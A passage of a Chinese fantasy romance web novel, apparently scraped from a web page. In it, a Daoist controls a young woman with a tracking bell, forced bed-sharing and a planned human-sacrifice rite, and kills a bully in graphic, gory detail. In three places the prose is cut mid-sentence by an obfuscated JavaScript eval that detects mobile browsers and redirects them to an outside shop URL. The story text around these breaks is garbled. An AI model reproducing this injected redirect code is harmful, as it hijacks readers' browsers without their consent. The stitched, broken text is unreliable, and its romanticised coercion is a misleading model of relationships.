江道灼面色沉静无波，只淡声道：“想报恩？那就好生吃饭，好生休养，别拖我后腿。等你想回老家……我自会送你。” 他怎会不懂她的小心思。可惜他是个铢锱必较之人，此番试探，他早晚还回去。 李初棠低头吃着鸡肉，没看见他唇角那抹阴晦笑意，只道：“至少告诉我你的真名吧？刘大壮实在难听，有辱你这张俊脸。” 他对她态度的转变，始于她吞丹坠崖之后。 血丹究竟是何宝物，她一知半解。但他如此重视，血丹被她吞下后，连带着她也成了重点保护对象。 李初棠不懂南疆秘术，也不通道家玄机。其中缘由，纵使她追问到底，江道灼绝不会吐露半分。 不如徐徐图之，先识其人，再究其事。 见他沉默，李初棠又道：“那我先告诉你我的名字，我本名是——” “不必。”江道灼打断她，目光淡漠，“我对你姓甚名谁毫无兴趣。你我各取所需，不必知根知底。” 再说，她也活不到说出名字的那一天。 “好。”李初棠应得干脆。 江道灼：“过来。” 她乖乖走近。 江道灼自腰间解下一对银铃。铃身一大一小，镌刻繁复诡谲的图腾，一看就是南疆奇物。 他低头俯身，骨节分明的手指撩起她腰间系带。这个姿势让她不得不微微仰头，视线正落在他微动的喉结上。 “别动。”他声音低了几分。 李初棠吓得屏住呼吸。 男人的指尖在她腰侧穿梭，偶尔擦过布料下的肌肤。触感很轻，却足以令她紧绷。 系带穿过银铃的环扣时，他的指节若有似无地擦过她腰窝最柔软处。 李初棠轻颤了一下。 11. 11 江道灼抬眼看她。 烛火在他深邃的眸中跳动，映出她绯红的脸和微微张开的唇。 “怎么了？”他问。 李初棠摇头不言。她不习惯同人接触，何况对方还是个落拓不羁、心思难测的道人。 他的手指没有立刻离开，反而在她腰间停留。指腹隔着薄薄的布料，清晰感受到她紧绷的腰线，以及因紧张而微微起伏的呼吸。 这女人娇软得很，不知此刻为何身体僵硬如石。 江道灼心存疑惑，刚要开口，听到她细若蚊呐的声音。 “这铃铛……有什么特别吗？” 他没有立刻回答。系好最后一个结，手指却没有松开系带，而是轻轻一扯。 李初棠随着力道前倾，蹭到他胸膛，旋即脸颊烫得惊人。 银铃发出一声清脆的响，在寂静中格外刺耳。 “子母铃。”他缓缓笑道，目光如锁链般缠着她，“母铃一动，子铃必鸣。” 如此，她永远脱离不了他的掌控。无论天涯海角，遭遇何事，银铃皆会将她的一切传递给他。 如此便能化被动为主动，将属于自己的器物置于绝对监控之下。这种彻底的自如感，稍稍抚平了连日来药毒噬心的烦躁。 李初棠心道此人好生可怕。每次笑起来，笑意不达眼底，只让人心底发慌。 “以后，我有权知晓你所有行踪。不许失联，不许私自下山，更不许不告而别。我不愿你离开时，你不能以任何理由离开我半步。听懂了吗？” 李初棠低头摆弄着冰凉的母铃，“懂了。” 这人终究是她在这深山里唯一倚赖。 “你的要求我都答应，但是……”她鼓起勇气，小声道，“我也有话要说。你……最好能答应。” “说。”江道灼饶有兴致地挑眉，倒要看看这只笼中雀能提什么要求。 李初棠脸色涨红，语速加快：“以后……你不能随便靠近我。” 江道灼眉心一皱：“何意？” “我沐浴时你不许进来，穿好衣服时也不可以，不用帮我擦头发，我自己能行。”李初棠连连道，“还有、还有……你不能随便拉扯我衣裳，解我腰带也不可以……反正，未经我同意，你不能碰我。” 她越说越急，终于吐出核心诉求，“而且……我要自己睡，不要和你同床。” 江道灼像是听到一连串笑话，眼底泛起冰冷的讥诮。 “我不能碰你？可我是你‘夫君’啊，这可是你当众认下的。” 他刻意咬重那两个字。 “至于同床共枕……既已答应不离开我半步，同榻就是践行诺言，容不得你推脱。” 他斩钉截铁的口吻气得李初棠七窍生烟。 “反正我想和你保持距离！”她几乎在低喊。 这话到了江道灼耳里，就成了她想要逃离的铁证。 欲求之物试图逃离的不安感令他警铃大作，不安与暴戾瞬间窜起。 “想划清界限？”他嗤笑，声音陡然转冷，“没门。” 他软硬不吃，李初棠急得攥着裙摆原地转了个圈：“你到底懂不懂规矩？” “你口中规矩，是京城那套礼教？”江道灼逼近一步，阴影笼罩下来，“难道礼教比命重要？” 李初棠自诩不是古板之人，山上生存艰难，若能淡去虚礼，自守本心，便是清清白白。 可她终究是个未经人事的少女，骤然与陌生又危险的男人共处一室，哪儿能那么快适应？ 李初棠久久不言，江道灼便当她默认。 在李初棠觉得他蛮不讲理之时，他也觉得这个女人无可救药。 江道灼眼底泛起血色，笑容加深，“好啊，那我先毁了你的礼教。” 话音未落，他欺身逼近，高大身影带着不容抗拒的压迫感。 李初棠攥紧裙摆，步步后退，直至脊背撞上冰冷墙面。 江道灼将她笼于身下，刀柄挑起下巴，少女不得不仰头承受他的目光。 “听好。”他声音压得极低，带着一种残忍的耐心，“从今天起，你入口的每一粒饭，由我亲手喂。你身上每一件衣衫，由我亲手解，直到你适应为止。” 他靠太近，近得她能看清他眼底翻涌的暗色，能感受到他周身气息，与自己慌乱的呼吸交缠在一起。 李初棠呛他：“那我以后不吃饭不睡觉——” “你敢。” 刀柄顺着她的下颌线条，似有若无地滑至她纤细的脖颈，激起一阵细微的战栗。 “我要亲手拆了你的心墙。”江道灼凝视着她骤缩的瞳孔，一字一句道，“直到你的身体和灵魂，都适应我的存在。” 他要用更极端的行为覆盖礼教，摧毁她的心理边界来确立绝对的占有。 李初棠消化着他的威胁，待她回神，那人已转身去铺床了。 靠墙的竹床被他整理过，他理所当然地占据外侧，将她逼向内侧的墙壁。 这不仅是睡眠位置，更是囚笼结构——他要堵死她逃离的路径。 许是方才的冲突加剧了他的偏执，当李初棠僵硬地平躺下去时，才真正意识到何为危险。 江道灼在她身侧躺下，她如受惊的虾米般蜷缩起来，面朝墙壁，紧紧闭眼。 下一刻，头皮传来尖锐的刺痛。 “怎么？”他问。 “压到我头发了。” 江道灼垂眸，看见自己臂下如绸缎般铺散的墨色长发，在月光下泛着幽微的光泽。 他缓缓将那柔滑沁凉的发丝拢在掌心，感受着生命的韧性。 “在干什么？”李初棠回头。 江道灼慢条斯理地将两人的头发缠绕在一起，打了一个结实而精巧的结，牢牢系在自己食指根部。 青丝如锁链，在呼吸间微微颤动，将他们紧密相连。 “……疯子！” 眼皮重若千钧，她没经历和他吵架，很快身心俱疲沉入睡眠。 两人并排躺着，她的呼吸渐渐均匀。 江道灼枕着一臂，在黑暗中无声地对抗体内磅礴的剧痛。 汹涌的药毒如同无数烧红的钢针，在经脉脏腑间反复穿刺、冲刷。 这熟悉的、足以令常人崩溃的痛苦，对他而言却是数十年如一日陪伴，是提醒他为何苟活于世的烙印。 他早已习惯，以至于疼痛来袭，能给他带来扭曲的安全感。 这蚀骨的灼痛时刻警醒他：手中这缕青丝所系的，不仅仅是一个女人，更是他维系性命、对抗天道唯一的药引。 这是他的救命稻草。他抓得更紧，掌控得就更多。 不知过了多久，一只不安分的脚踝踢到了他的小腿。 江道灼侧头，看见熟睡的李初棠换了个更舒适的睡势，甚至满足地轻哼了一声。 他骤然伸手，扣住她的脚踝，毫不留情地拽回原位，动作精准利落，如同摆正一件偏离位置的器具。 “没心没肺。”他低声自语，闭目继续调息，仍旧不适。 既然她已睡下，不如先试试以唇取血的法子。 江道灼是个行动派，说干就干。 趁她翻身平躺，他支起上身，双掌撑在她两侧，像一张缓缓收紧的弓。月光从窗隙漏进来，恰好落在她唇上。 她的嘴唇很好看。饱满，润泽，唇角天然上翘，唇珠微微凸起，像一颗待人采撷的樱桃。 此刻她睡得毫无防备，那抹嫣红仿佛在说：来呀，咬我呀。 江道灼盯着看了片刻，喉结无声地滚动。 行此腌臜之举，难免拘束。 他深吸一口气，脑中浮现一个技术性问题—— 先贴上去，还是直接咬？ 上唇还是下唇，唇珠还是嘴角。 力道要多大，咬破了她会不会醒，醒了他怎么解释？ 他越想越不对劲。 ……怎么比杀人还难。 活了二十三年，从未如此纠结。 算了。一不做，二不休。 锁定目标，他闭眼，低头—— “你干嘛。” 江道灼僵住了。 声音从下方传来，不轻不重，带着刚睡醒的沙哑。 他缓缓睁眼。 李初棠正看着他。目光清亮，毫无睡意。 四目相对，空气凝滞。 “……” “……” 诡异的沉默在两人之间蔓延。 江道灼眼睫动了一下，面不改色地撑起身，“无事，睡你的。” 语气淡得像在说今天天气不错。 说完，他利落地躺倒，闭眼。 李初棠：“……” 她摸了摸手腕上的袖箭，默默往床角挪了半寸。 她睡眠一向浅。 他刚撑起来，她就醒了。 就知道这人不靠谱。 还好她有准备。若他真敢胡来—— 一箭射死他。 不，先射腿。让他跑不了。 李初棠这一晚睡得很不安稳，清晨又被有节奏的敲击声吵醒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495113|202448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睁眼时，天已大亮。她抬头，看见江道灼在庙外忙碌，揉着眼睛下床，走到门口，就被眼前的景象惊得怔住。 竹桌上摆着几碟尚冒热气的清淡小菜，檐下一字排开装满清水的木桶，猪鬃牙刷搁在崭新的陶杯里，旁边甚至立着一个简易却结实的盥洗架，挂着干净的布巾。 而江道灼，正在打造一扇屏风。 李初棠愣了片刻，“辛苦了，大壮道长。” 防备归防备，该有的客套话她一句不少。 无论动机如何，他确实在改善他们的生存环境。 “油头满面，还不洗漱。”他头也不抬，一贯的冷淡。 李初棠应了声，愉悦地刷牙净面。收拾清爽后，按捺不住好奇，到他身边观看。 江道灼正用匕首雕刻屏风面板。 锋利的刃尖划过木质，木屑纷飞，原本平整的表面逐渐浮现出凹凸有致的纹路。刻痕并非胡乱为之，竟颇有章法，渐成一幅雅致的缠枝花纹。 她没想到，这个煞神般的男人，还有这般精妙的手艺。 “这花刻得栩栩如生，你会木雕？” 没出力，不好白享成果。她的甜言蜜语不要钱似的往外冒：“请问，天底下还有什么是您不擅长的？” 江道灼动作未停，一脸淡漠：“少来。” “那……”李初棠眼珠一转，得寸进尺，“能不能请道长再刻一朵海棠？我最喜欢海棠。” “好啊。”江道灼勾唇一笑，应得爽快。 李初棠暗自期待。 只见他手起刀落，刻刀划过木面的每一下都精准有力，好似胸有成竹。 李初棠看着木雕，眼中期待慢慢转为僵直。 江道灼用迅疾潦草的行书，在花纹旁“唰唰”刻下“海棠”二字。 字迹张扬跋扈，与一旁精致的缠枝花格格不入，瞬间破坏了整体美感。 “你耍人！” 江道灼但笑不语，显然颇为满意自己的杰作。 李初棠懒得再理他，转身去吃饭。 他动作极快，她饭还未吃完，他结束雕刻，净手后坐到她对面。 与他一同出现的，是那碗熟悉的、散发着苦涩气息的黑色药汤。 李初棠小脸立刻垮了下来：“又喝？” 江道灼目光扫过她的脸颊，道：“气色尚可，胃口也不错。既是身体好转，更需巩固。喝完，诊脉。” 李初棠以极慢的速度吃完饭，视死如归般端起药碗，屏息灌下。 一滴漆黑的药汁自嘴角溢出，她苦得浑身一哆嗦，眼眶瞬间泛红，含着水汽，可怜兮兮地望向他，像只被强灌鱼油的无辜幼猫。 江道灼视若无睹，直接命令：“伸手。” 初春的山林生机萌动，和煦的春风拂过蛇神庙破败的檐角。 两人相对坐在门槛边，李初棠一手支着下巴，另一只手伸到对面。江道灼修长的手指精准地点在她的腕间，触感冰凉，带来一丝细微的痒意。 垂眸专注，李初棠的胆子又大了起来，目光悄悄落在他脸上。 他的骨相生得极好，眉骨与鼻梁挺拔，勾勒出深邃的眼窝，唇形优美，只是色泽总是缺乏血色的淡白，仿佛精致却冰冷的玉雕。 他看似清瘦，实则肌理匀称蕴藏力量，偏偏饮食敷衍，宛如自虐。 江道灼的视线凝在她的脉息上，仿佛头顶生目，语气平静无波：“再看，剜了你的眼。” 李初棠答非所问，带着真诚的困惑：“为什么不好好吃饭？” 每次同桌，他不是盯着她吃，便是浅尝辄止。 “脉象渐趋平缓，但肝郁之火未清，需徐徐图之。日后汤药，按时饮用，不得推诿。”他收回手，避开了她的问题。 “确实，今儿没那么烦闷了，身子也松快些。”李初棠心道，要是你晚上不搞小动作，她身心能恢复得更快。 “这药用什么熬的，这么有效。” 江道灼唇角勾起一抹难以察觉的弧度：“说了你也不懂。” 若让她知晓其中混入了他的血，她怕是宁可病死也不会多喝一滴。 “不吃饭可以，水总要喝。”李初棠叹了口气，执起粗陶壶，为他面前的杯子斟满清水，轻轻推过去，“你看你，嘴唇都白了。” 江道灼看着那杯微微荡漾的清水，水面倒映出破碎的天光和她甜美的笑颜。 他静默一瞬，伸手端起，顿了顿一饮而尽，然后将空杯不轻不重地放回桌面。 “多事。”他移开目光，依旧冷淡，“管好你自己。” 12. 12 春日渐暖，山野间生机涌动，连破败的蛇神庙墙角都钻出了嫩绿的草芽。 李初棠前脚刚挎着竹篓出门，观澜便从暗处现身。 “主上。”他眉头紧锁，声音压得极低，“为何还不取血？” 明眼人都能看出这几日江道灼在硬撑——唇色愈发苍白，眼底的血丝时隐时现，唯有那身姿依旧挺得笔直，像一柄不肯弯折的剑。 “无妨。” 江道灼闭目调息，声音平淡，“她饮药不过数日，气血渐旺，血丹药性尚未醇和。此时取用，徒增杂质。” 他有意隐瞒那晚的尴尬，缓缓睁眼，眸底掠过一丝偏执的光，“本座既要用药，便要等药性至纯至烈之时。” 他嘴角勾起近乎自虐的弧度。 更何况，他也想看看，久经淬炼的残躯败体脱离血丹温养，究竟能撑到何时。 人形药材就在身边，唾手可得。但如何用、何时用、用几分，需要精确计算。 他要的不仅仅是缓解痛苦，更是以这具身体为炉，以痛苦为柴，炼出一线彻底掌控命运的契机。 “主上，京城来信。”观澜奉上一封蜡封密函。 “够快。”江道灼接过，轻笑一声，“果然什么都瞒不过那只狐狸。” 他目光掠过信纸，抬眸望了眼檐外飞旋的蓝羽信鸽。 观澜见他神色，低声道：“有他在京中周旋，局势必稳。主上可安心在此疗养，待大愈之日，再回京收拾残局。” 江道灼不置可否，只将信纸凑近烛火。 火焰吞噬纸页的瞬间，他忽然问：“她往何处去了？” “溪涧方向，说是去浣衣。” 溪水淙淙，日光透过林隙洒在水面上，碎成千万点金鳞。 李初棠蹲在溪边青石上，正学着林张婆婆的样子，用木杵捶打浸湿的衣衫。 水花逐渐溅湿了裙摆和袖口。 “浣衣好辛苦。”她甩了甩酸麻的手腕，由衷感慨。 林张婆婆在一旁笑呵呵地拧着被单：“熟能生巧，多做几次就好啦。” 她打量着李初棠日渐红润的脸颊，欣慰道，“海棠气色真不错，比刚来时那苍白模样好多了。” 李初棠笑了笑，手下用力捶打：“可不嘛，大壮整天盯着我吃东西，这个汤那个药的，都快把我养成小猪了。” 江道灼连洗衣这种事起初都不许她做，是她坚持以“活动筋骨”为由才得到许可。 这种被全方位掌控、连生活琐事都要被安排的感觉，真让她气不打一处来。 “说来你在山上待了半个多月了，怎么样，可适应了？”林张婆婆问。 “有婆婆照应，自然好多了。” 李初棠手下动作放缓，状似随意地问道，“山里太大，我还不怎么认路呢。记性也差，都快把京城来草山的路给忘了。婆婆您可记得？” 这是她唯一能想到的办法——借浣衣独处的机会，从山民口中探听下山的路。 林张氏果然未起疑，一边拧衣服一边答：“下山的路我倒是熟。我家老头子常去城里卖山货，我都送他到山脚哩。去京城的路我可不懂，老婆子这辈子还没出过这片山林呢。” 李初棠心中一沉，却不放弃：“那山上……可有人知道去京城的路？” “山上多是老弱妇孺，哪用得着去京城呀。”林张氏想了想，“也就年轻的神使常带着弟兄们出山，一出去就是十天半个月。” 李初棠初来那日，林张氏就提过神使。她后来细细打听过，山上包括红姨在内，一共三位神使。 “哦对了，”林张婆婆忽然压低声音，“还有个人知道……就是市集上被大壮砍手的老汉。” 李初棠猛地抬头。 “他年轻时走南闯北，据说还去京城贩过皮货。”林张氏叹了口气，“自打那天断手，他昏死了七天七夜，醒来就神志不清了。现在疯疯癫癫的，连自己叫什么都忘了。” 李初棠心道活该。 “他家老婆子想去蛇神庙烧香祈福，可听说大壮住庙里，吓得直往红姨家哭。”林张氏搓着衣服，声音里透着不安，“这些天我总觉心里发慌。海棠啊，不然你和大壮出去躲两天？” “躲就能解决问题？”李初棠不屑。 想在山中安身立命，必须打倒这些地头蛇。若红姨找事，她就大大方方迎上去，方法总比困难多。 林张婆婆又劝：“红姨和她儿子可都是神使，在山上横着走，保护税说多少就多少，原来十税一，现在八税一，唉，老婆子我交不上，前几年山上塌方捐了山货才逃过一劫……” 李初棠没接这话茬，转而问：“蛇神庙平日去的人多吗？” “不多。平日也就谁家遭了灾、有了难，或是红白事才去求蛇神庇佑。”林张氏顿了顿，补了一句，“都说那庙……有点邪性。” 李初棠想起庙中那尊斑驳的蛇神像，大壮经常在神像后方打坐修道。 她没再说话，心里想着应对之策，用力捶打着浸水的衣衫。 日头开始西斜，林间光线变得暧昧不明。 李初棠将洗好的衣物拧干装进竹篓，沉甸甸地挎上肩。 临行前，她特意带上了那张江道灼给她防身用的短弓——山中夜路危险，她得在天黑前赶回去。 “婆婆，我先回了！” 林张氏在身后叮嘱：“路上当心！” 春日的山野美得如同画卷，李初棠沿着熟悉的小径往回走。无痕的天空上，忽然掠过一道醒目的蓝影。 那是一只鸽子，胸口的羽毛蓝到发紫，在夕阳下泛着金属般的光泽——太过鲜艳，不似山野凡鸟。 李初棠眯起眼睛，本能地取下肩上的弓。这些天，她对这山间一切异常都格外敏感。 弓弦轻响，蓝鸽应声坠落。 她捡起那只仍在抽搐的鸟儿，目光落在它腿上——那里绑着一枚细竹信筒。 黄昏的密林中，观澜随江道灼隐于高高的枝头。 “您来这做什么？”他耳语。 江道灼没回答，只是拨开竹叶，目光落在不远处——一对山野男女正在树下搂抱亲吻。 观澜满脸惊愕。 他家国师，何时有了看活春宫的癖好？！ 江道灼眯着眼睛，手指于唇瓣一指，示意他别出声。 “观察，学习。” 他面无表情看着底下的野鸳鸯，唇齿交融，发出声响。 他们亲的时候，女人的嘴唇破了。 江道灼强撑着恶心，认真观摩。 观澜大眼瞪小眼：……所以呢？ 江道灼没理他，看了良久，悄然离去。 回去路上，他若有所思，“……原来如此。” 观澜呆愣：“……原来如此什么？” 江道灼好似悟出真谛，“男人的牙齿，要控制力道。” “而且，要先搂她，让她跑不了。” 听着他笃定又炸裂的发言，观澜石化在原地。 ——我的国师大人，您到底在学什么？？？ 李初棠回来时，江道灼正泥像前闭目调息。 “大壮，我回来啦！” 她提着那只蓝鸽跨进门槛，脸上挂着过分灿烂的笑：“运气真好！打了只野鸽，肥得很，晚上加餐！” 江道灼缓缓睁眼，目光先落在她唇上。 少女的笑容甜得发腻，眼底却藏着试探的光。 然后，他视线下移，落在她手中那只胸羽湛蓝、腿上绑着信筒的鸽子身上。 药毒噬心的痛楚，在这一刻都不及眼前画面令他胸口发闷。 “我说过。”他比平日更冷三分，“我不食尸肉。” “可我喜欢呀。”李初棠晃了晃手中的猎物，故作天真，“鸽子看着就肥，烤起来肯定外焦里嫩！咦——” 她突然“发现”了信筒，伸手去解：“绑着东西呢。” 李初棠余光紧锁着江道灼。她从射下鸽子那一刻就在等。 等他的反应，等这信筒里的秘密。 约定彼此不多过问，但两人的邂逅可谓惊心动魄，李初棠对这个盟友的身份十分好奇。 直到她抽出那卷薄笺，江道灼仍端坐原地，眉梢都未动一下。 李初棠镇定地展开信笺，愣住了。 这是一种她从未见过的奇异文字。笔画扭曲如虫蛇爬行，排列诡异似符文咒语。 她努力辨认，却连半个熟悉的偏旁都找不到。 “……什么啊？”她喃喃道。 正当她蹙眉努力辨认时，身后传来一声极轻的嗤笑，如同冰棱断裂。 江道灼悄无声息地出现在她身后，阴影将她完全笼罩。 “看不懂，是么？”他微微倾身，目光锁定她慌乱的眼睛，“这就对了。你若能看懂，这信就不必送出去了。” 他的手指从她肩侧伸出，两指轻易捏住了信笺一角。 “谁准你碰我东西？” 信笺被抽走。江道灼垂眸扫了一眼，又抬眼看向她，眼神像在看一只憨猫。 他慢条斯理地将信笺展平，阴狠道：“好奇是好事，但用错地方，只会显得蠢。” 李初棠脸颊滚烫，羞愤与恐惧交织。 “这是南疆巫文。”江道灼的指尖停在某个形如盘蛇的字符上，“要不要我教你读一句？” 他忽然抬眼看她，眼底闪过幽暗的光。他性子多疑，她偏偏往枪口上撞。 李初棠下意识后退半步，后背抵上冰冷的供桌。 江道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那本医书是南疆秘术的精华，其中所述人祭之法，正是将血丹受体炼化为药丹，以供药人化解药毒、同时斩断血盟反噬的禁忌之术。 一旦施行，受体之人将血肉成丹，尸骨无存。 观澜恍然大悟。主上这些日子对李初棠的好，那些汤药饮食、悉心调养，原来都是为了将药材养至最佳状态，以待日后炼化取用。 他想起女子那双明亮动人的杏眸，心头掠过一丝惋惜。 江道灼气息如渊，观澜不敢多言，只得躬身：“属下遵命。即刻启程。” “要快。” “是！” 观澜身影没入竹林深处。江道灼独自立于原地，袖中手指缓缓收紧。 药毒又开始翻涌了，这一次比以往更烈。 无妨，再忍忍，直接把她炼化成丹药，他就不必与她…… 想到树林里情景，他喉头猩甜，吐出一口黑血。 他闭上眼，任由熟悉的灼痛啃噬全身经脉…… 李初棠在破庙里呆坐许久，直到暮色四合。 她看着地上那只死去的蓝鸽，忽然站起身，拎起它向外走去——她需要离开这里，哪怕只是片刻。 林张婆婆家是她此刻唯一能想到的避风港。 “婆婆，我来找你啦。”她努力让声音听起来轻快些，打算将这鸽子送给婆婆加餐。 当她走近熟悉的茅屋时，脚步猛地顿住。 篱笆歪倒了一片，院中晾晒的衣物、菜干洒落满地。茅屋里传来器皿破碎的刺耳声响，夹杂着老人无助的哭啼和尖锐的咒骂。 李初棠心头一紧，冲进院门。 只见林张婆婆跌坐在地，白发散乱，正被两个粗壮山民拽着胳膊。而屋中央，红姨正叉腰站着，刻薄的目光扫过屋内每一样东西。 她嘴里不住叫骂：“老不死的！藏了外乡妖女多少好处？今天不交出来，我把你这破屋拆了！” 李初棠血液直冲头顶。 “婆婆！”她冲上前扶起林张氏，抬头怒视红姨，“你们干什么？！” 红姨转头，脸上露出恶毒的笑。 “哟，正主来了。” 她身后，五六个手持棍棒柴刀的壮汉缓缓围了上来，将李初棠和林张婆婆堵在了墙角。 暮色彻底笼罩了山野。 远处蛇神庙的方向，一点烛火在黑暗中明灭。 江道灼站在破庙门口，望向林张氏家那隐约传来喧哗的方向，银铃在他腰间轻轻一颤。 他垂眸看了眼铃铛，冰冷转身，掩上了庙门。 13. 13 红姨的指甲掐进李初棠的胳膊里，声音尖利：“儿啊，就是这贱人当众欺我，毁咱名声！今日非得讨个说法！” 被唤作阿虎的壮汉满脸戾气，看见李初棠却眼神发直。 粗布衣衫掩不住她一身瓷白皮肉，一双含着怒气的杏眼于昏暗茅屋里亮得灼人。 阿虎舔了舔厚唇，这女人长得真带劲儿。 他上前一步逼近：“小娘子，老子给你两条路。要么按规矩交足护山税，要么跟老子回家。伺候舒服了，税钱给你免了！” 周围几个跟班哄笑起来，污言秽语混着口哨声。 原来他就是红姨的儿子，山中另一个神使。 李初棠攥紧衣角，“我嫁人了。” “嫁人？”阿虎一把攥住她衣袖，嗤笑，“跟个来路不明的野男人钻山庙，也算嫁人？” 布料撕裂声刺耳，她肩头一凉。 剧痛和耻辱冲上头顶，硬扛显然不行。李初棠捂住肩，“既想成事，就该照草山规矩来，去蛇神庙拜堂，得神灵见证，才算名正言顺。坏了规矩，当心蛇神降罪！” 屋内一静。再横的地头蛇，也不敢明着触犯最原始的敬畏。 红姨眼珠急转，尖声道：“少拿神吓唬人！你那姘头呢？叫他滚出来！” “他采药去了。”李初棠心跳如擂鼓，面上挤出笑容，“你们若怕他，不如多叫些乡亲一道去庙里。人多安全，能做见证。我的钱囊也在庙里，交税方便。” 红姨暗忖：人多势众，借机把那煞星赶走，没了靠山，这小蹄子还不是任她揉捏？ “走！”她心一横，拧着李初棠的耳朵往外拖，“今儿个非得把税钱和人都清理了！” 蛇神庙内，江道灼盘坐于斑驳的泥像之后。 腰间银铃急颤，细密的响声撞在庙壁间，折成无数回音。他睁眼，眼底血丝蛛网般蔓延。 “自作聪明，该受些教训。”他低语，喉间涌上腥甜。 强行压制药毒的代价正在反噬。 经脉如烧红的铁丝般灼烫，每一次心跳都牵扯着脏腑剧痛。可他需要这痛，若不濒临极限，便不会轻易罢手。 只有不服药的时日，他看起来才像个常人。 常人…… 这个词对他而言过于陌生。 许是身体过于痛苦，药毒摧残之下，人的记忆也变得错乱。 江道灼手指掐进地砖，划出道道刮痕。 深不见底的药窟、毒气萦绕的水牢、漫天的哭喊和惨叫…… 如他那般年龄的药童，无论男女扒光衣服共处一室，药缸浸泡、蛊虫饲身，如同试验的牲畜般毫无尊严…… 阴暗的过往凝于眼前，他甚至没听清外面的喧嚣。 庙前空地围满了人。李初棠被反剪双手押在檐下，目光飞快扫过人群。 有的好奇，有的麻木，有的幸灾乐祸。 阿虎朝庙门啐了一口：“磨蹭什么？你那野男人怕不是早溜了！” 李初棠看了眼庙内，抬高嗓音：“就是！他胆小如鼠，哪有虎哥威风！” 她不阴不阳说完，话音在庙宇回荡，无人应答。 蛇神泥像背后，万蚁噬心之痛袭来，江道灼虚弱地吐出一口黑血。 李初棠心沉了下去，激将法都不管用，看来真把疯子得罪了。 她心里呐喊，求人不如求己，这回干脆破釜沉舟！ 李初棠昂起头，转而面向人群，发出最后一张王牌：“各位乡亲，今日和阿虎拜堂成亲，劳烦大家做个见证！另外，红姨要收我护山税，说是五税一！我倒要问问，大伙儿平日交税，也是这个数吗？！” 人群一阵骚动，旋即又安静下来。 过了一会儿，林张婆婆颤巍巍道：“我、我交的是十税一……” “……我是八税一！”有人回应。 马脸大娘惊愕：“难道涨了？” 李初棠趁机高声说：“蛇神仁慈，赐皮养民。若真按规矩，税赋应是十税一，你收五税一，究竟是敬神，还是……借神之名中饱私囊？” 她目光扫视着敢怒不敢言的山民，将自己与受欺压的大多数山民拉到同一阵营。 “若贪了我们的税，蛇神如何庇佑得了大家？！”李初棠抬眸直视他，“你今天收我的，明天收别人的。你拿着我们的血汗钱去孝敬蛇神，让神灵只护你一个？！” 质疑声如星火溅入枯草，掀起燎原之势。 “难道红姨和虎哥是骗子？！” “骗子还我们钱！” 红姨脸色骤变，厉声道：“多收的钱是给蛇神塑金身、建新庙的！你们敢误神灵大事？！” 李初棠抓住话头：“给蛇神塑金身？红姨，您口口声声替神办事，那我问你！你可曾亲耳听过蛇神说话？亲眼见过蛇神显灵？去年后山塌方，林张氏献了攒了三年的山货求平安，结果呢？货没了，地照样埋了！” 她目光灼灼扫过每一张脸，恨不得跳起来：“蛇神若真有灵，要的该是诚心，不是咱们从牙缝里省出来的血汗钱！这些年来，你们谁家因交钱得过半分实在的庇佑？钱到底去了哪儿，大家心里真没数吗？” 她一声扬得比一声高，试图唤醒这些愚昧的人。人多力量大，只有群众的力量能压倒恶势力。 “闭嘴！”阿虎暴怒，一掌掴向她脸颊。 李初棠躲闪不及，颊侧火辣，贝齿磕破下唇，血腥味瞬间弥漫口腔。 一缕鲜红自嘴唇滑落。 庙内，江道灼倏然睁眼。 银铃在他腰间烫如烙铁。他滋养半月有余的血丹之气，正被外人蛮横地玷污。 那是他的解药，他的心血！ 阿虎第二掌将至。 破庙的门槛处，空气骤然扭曲。 一道黑影掠过，速度快得拉出残影，动作僵硬如提线木偶。 众人只觉腥风扑面，尚未看清，凄厉的惨叫撕裂空气—— 阿虎右臂齐肩而断，飞落在尘土中，手指仍保持着抓握的姿势。 江道灼立在血泊中央。 他没看惨叫的红姨，没看惊呆的人群，甚至没看嘴角渗血的李初棠。 江道灼垂着眼，死死盯着地上那截断臂的切口，以及从切口汩汩涌出的、尚带体温的鲜血。 他握着那柄看似平平无奇的桃木剑，剑尖顺着虎哥的额头虚划而下，如同丈量一件待处理的木材。 “口舌不净，留着无用。” 下一秒，他将桃木剑从虎哥大张的口中，缓慢而稳定地、一点一点地、纵向刺入，剑尖穿透上颚，深入脑部，直接从后颈穿出。 整个过程，虎哥因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495115|202448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻痹无法惨叫，只能发出“嗬嗬”的窒息声，眼球暴凸，生理性泪水混合着口水血水涌出。 山民们吓得半晌找不到舌头，沉浸在一片骇人的哑然之中。 江道灼甩甩剑上的红白之物，淡淡道：“下次谁想动她，先想想脑子够不够我戳一次。” 李初棠率先镇静下来，她习惯了他的神出鬼没，却看出了细微区别。 ——他速度极快但动作僵硬，气息不匀，额尖冒汗，像是被痛苦驱动的傀儡，似在隐忍什么。 这很危险。 红姨呆滞一瞬，猛地扑到儿子身上嚎哭：“杀人了！杀人了！神灵降罪啊！” 